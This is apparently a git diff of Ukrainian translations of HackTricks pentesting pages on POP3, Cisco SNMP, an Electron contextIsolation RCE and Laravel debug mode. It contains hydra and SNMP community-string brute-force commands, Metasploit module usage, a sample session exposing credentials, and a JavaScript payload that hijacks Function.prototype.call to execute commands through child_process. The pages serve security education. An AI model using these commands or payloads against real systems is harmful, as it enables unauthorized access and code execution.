<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете побачити, як ваша **компанія рекламується на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# 110,995 - Тестування на проникнення POP
# 110,995 - Pentesting POP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете побачити, як ваша **компанія рекламується на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Група Try Hard Security**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -20,37 +23,37 @@
***
## Основна інформація
## Basic Information
**Протокол поштового відділення (POP)** описується як протокол у сфері комп'ютерних мереж та Інтернету, який використовується для вилучення та **отримання електронної пошти з віддаленого поштового сервера**, щоб зробити її доступною на локальному пристрої. Розташований на рівні застосунків моделі OSI, цей протокол дозволяє користувачам отримувати та отримувати електронну пошту. Робота **клієнтів POP** зазвичай включає встановлення з'єднання з поштовим сервером, завантаження всіх повідомлень, збереження цих повідомлень локально на клієнтській системі, а потім видалення їх з сервера. Хоча існують три ітерації цього протоколу, **POP3** виділяється як найбільш поширена версія.
**Протокол поштового відділення (POP)** описується як протокол у сфері комп'ютерних мереж і Інтернету, який використовується для вилучення та **отримання електронної пошти з віддаленого поштового сервера**, що робить її доступною на локальному пристрої. Розташований у прикладному шарі моделі OSI, цей протокол дозволяє користувачам отримувати та отримувати електронну пошту. Робота **клієнтів POP** зазвичай передбачає встановлення з'єднання з поштовим сервером, завантаження всіх повідомлень, зберігання цих повідомлень локально на системі клієнта та подальше їх видалення з сервера. Хоча існує три версії цього протоколу, **POP3** виділяється як найбільш поширена версія.
**Порти за замовчуванням:** 110, 995(ssl)
**Порт за замовчуванням:** 110, 995(ssl)
```
PORT STATE SERVICE
110/tcp open pop3
```
## Перелік
## Enumeration
### Захоплення банера
### Banner Grabbing
```bash
nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet
```
## Інструкція
## Manual
Ви можете використовувати команду `CAPA`, щоб отримати можливості сервера POP3.
## Автоматизовано
## Automated
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
Плагін `pop3-ntlm-info` поверне деяку "**чутливу**" інформацію (версії Windows).
Плагін `pop3-ntlm-info` поверне деякі "**чутливі**" дані (версії Windows).
### [POP3 брутфорс](../generic-methodologies-and-resources/brute-force.md#pop)
### [Брутфорс POP3](../generic-methodologies-and-resources/brute-force.md#pop)
## Синтаксис POP
Приклади команд POP з [цього джерела](http://sunnyoasis.com/services/emailviatelnet.html)
Приклади команд POP з [тут](http://sunnyoasis.com/services/emailviatelnet.html)
```bash
POP commands:
USER uid Log in as "uid"
@ -64,27 +67,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
### Post Office Protocol (POP)
#### Enumeration
```plaintext
telnet IP 110
USER root
PASS root
```
#### Brute force
```plaintext
hydra -L users.txt -P pass.txt -f -vV IP pop3
```
#### Exploitation
```plaintext
msfconsole
use auxiliary/scanner/pop/pop_version
set RHOSTS IP
run
```
Приклад:
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -109,25 +92,25 @@ Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z
```
## Небезпечні налаштування
## Небезпечні Налаштування
З [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Налаштування** | **Опис** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Увімкнути всі журналювання відлагодження аутентифікації. |
| `auth_debug_passwords` | Це налаштування відрегулює рівень журналювання, в якому будуть зареєстровані надіслані паролі та схема. |
| `auth_verbose` | Записує невдачі спроби аутентифікації та їх причини. |
| `auth_verbose_passwords` | Паролі, використані для аутентифікації, реєструються і можуть бути також обрізані. |
| `auth_anonymous_username` | Це вказує ім'я користувача, яке буде використовуватися при вході за допомогою механізму ANONYMOUS SASL. |
| `auth_debug` | Увімкнення всього журналювання налагодження аутентифікації. |
| `auth_debug_passwords` | Це налаштування регулює детальність журналу, подані паролі та схема, що ведеться в журналі. |
| `auth_verbose` | Журналює невдалі спроби аутентифікації та їх причини. |
| `auth_verbose_passwords` | Паролі, що використовуються для аутентифікації, ведуться в журналі і можуть бути скорочені. |
| `auth_anonymous_username` | Це вказує ім'я користувача, яке буде використовуватися при вході з механізмом ANONYMOUS SASL. |
**Група безпеки Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## Автоматичні команди HackTricks
## HackTricks Автоматичні Команди
```
Protocol_Name: POP #Protocol Abbreviation if there is one.
Port_Number: 110 #Comma separated if there is more than one.
@ -170,13 +153,13 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
```
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Навчіться хакінгу AWS з нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Ви працюєте в **компанії з кібербезпеки**? Хочете, щоб вашу **компанію рекламували в HackTricks**? Або хочете отримати доступ до **останній версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Отримайте [**офіційні товари PEASS & HackTricks**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною в **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Діліться своїми хакерськими трюками, надсилаючи PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,72 +1,74 @@
# Cisco SNMP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити, як ваша **компанія рекламується на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в галузі хакінгу** і взламати невзламне - **ми шукаємо співробітників!** (_вимагається вільне володіння польською мовою, як письмово, так і усно_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Тестування на проникнення мереж Cisco
## Pentesting Cisco Networks
**SNMP** працює через UDP з портами 161/UDP для загальних повідомлень та 162/UDP для повідомлень пастки. Цей протокол ґрунтується на рядках спільноти, які служать паролями, що дозволяють зв'язок між агентами SNMP та серверами. Ці рядки є ключовими, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або для читання та запису (RW)**. Важливим вектором атаки для тестувальників на проникнення є **перебір рядків спільноти**, спрямований на проникнення в мережеві пристрої.
Практичним інструментом для виконання таких атак перебору є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який потребує список потенційних рядків спільноти та IP-адреси цілей:
**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які виконують роль паролів, що дозволяють зв'язок між SNMP-агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запису (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої.
Практичним інструментом для виконання таких брутфорс-атак є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає список потенційних рядків спільноти та IP-адрес цілей:
```bash
onesixtyone -c communitystrings -i targets
```
#### `cisco_config_tftp`
Фреймворк Metasploit має модуль `cisco_config_tftp`, який сприяє вилученню конфігурацій пристрою, за умови отримання рядка спільноти RW. Основні параметри для цієї операції включають:
Фреймворк Metasploit містить модуль `cisco_config_tftp`, що полегшує витягування конфігурацій пристроїв, залежно від отримання RW community string. Основні параметри для цієї операції включають:
* Рядок спільноти RW (**COMMUNITY**)
* RW community string (**COMMUNITY**)
* IP-адреса атакуючого (**LHOST**)
* IP-адреса цільового пристрою (**RHOSTS**)
* Шлях призначення для файлів конфігурації (**OUTPUTDIR**)
* Шлях призначення для конфігураційних файлів (**OUTPUTDIR**)
Після налаштування цей модуль дозволяє завантажувати налаштування пристрою безпосередньо до вказаної папки.
Після налаштування цей модуль дозволяє завантажувати налаштування пристрою безпосередньо в зазначену папку.
#### `snmp_enum`
Інший модуль Metasploit, **`snmp_enum`**, спеціалізується на зборі детальної інформації про апаратне забезпечення. Він працює з будь-яким типом рядка спільноти і вимагає IP-адресу цілі для успішного виконання:
Ще один модуль Metasploit, **`snmp_enum`**, спеціалізується на зборі детальної інформації про апаратуру. Він працює з будь-яким типом community string і вимагає IP-адресу цілі для успішного виконання:
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
```
## Посилання
## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="https://github.com/carlospolop/hacktricks/blob/ua/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра хакера** і взламати невзламне - **ми шукаємо співробітників!** (_вимагається вільне письмо та мовлення польською_).
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# RCE через Electron contextIsolation за допомогою внутрішнього коду Electron
# Electron contextIsolation RCE via Electron internal code
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Приклад 1
## Example 1
Приклад з [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
Слухач події "exit" завжди встановлюється внутрішнім кодом під час початку завантаження сторінки. Ця подія випромінюється саме перед навігацією:
Слухач події "exit" завжди встановлюється внутрішнім кодом, коли починається завантаження сторінки. Ця подія виводиться безпосередньо перед навігацією:
```javascript
process.on('exit', function (){
for (let p in cachedArchives) {
@ -27,23 +30,23 @@ cachedArchives[p].destroy()
```
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
![](<../../../.gitbook/assets/image (664).png>)
![](<../../../.gitbook/assets/image (1070).png>)
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Більше не існує
Потім йде сюди:
Потім це переходить сюди:
![](<../../../.gitbook/assets/image (647).png>)
![](<../../../.gitbook/assets/image (793).png>)
Де "self" - це об'єкт процесу Node:
Де "self" є об'єктом процесу Node:
![](<../../../.gitbook/assets/image (652) (1).png>)
![](<../../../.gitbook/assets/image (700).png>)
Об'єкт процесу має посилання на функцію "require":
```
process.mainModule.require
```
Оскільки handler.call отримає об'єкт process, ми можемо перезаписати його для виконання довільного коду:
Оскільки handler.call буде отримувати об'єкт процесу, ми можемо перезаписати його для виконання довільного коду:
```html
<script>
Function.prototype.call = function(process){
@ -52,26 +55,29 @@ process.mainModule.require('child_process').execSync('calc');
location.reload();//Trigger the "exit" event
</script>
```
## Приклад 2
## Example 2
Отримайте **об'єкт require з забрудненням прототипу**. З [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
Отримати **об'єкт require з забруднення прототипу**. З [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
Витік:
<figure><img src="../../../.gitbook/assets/image (34).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (279).png" alt=""><figcaption></figcaption></figure>
Експлойт:
Експлуатація:
<figure><img src="../../../.gitbook/assets/image (35).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (89).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете, щоб ваша **компанія рекламувалася на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,37 +1,40 @@
# Laravel
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете побачити вашу **компанію рекламовану на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Laravel Tricks
### Режим налагодження
Якщо Laravel перебуває в **режимі налагодження**, ви зможете отримати доступ до **коду** та **чутливих даних**.\
Якщо Laravel знаходиться в **режимі налагодження**, ви зможете отримати доступ до **коду** та **чутливих даних**.\
Наприклад `http://127.0.0.1:8000/profiles`:
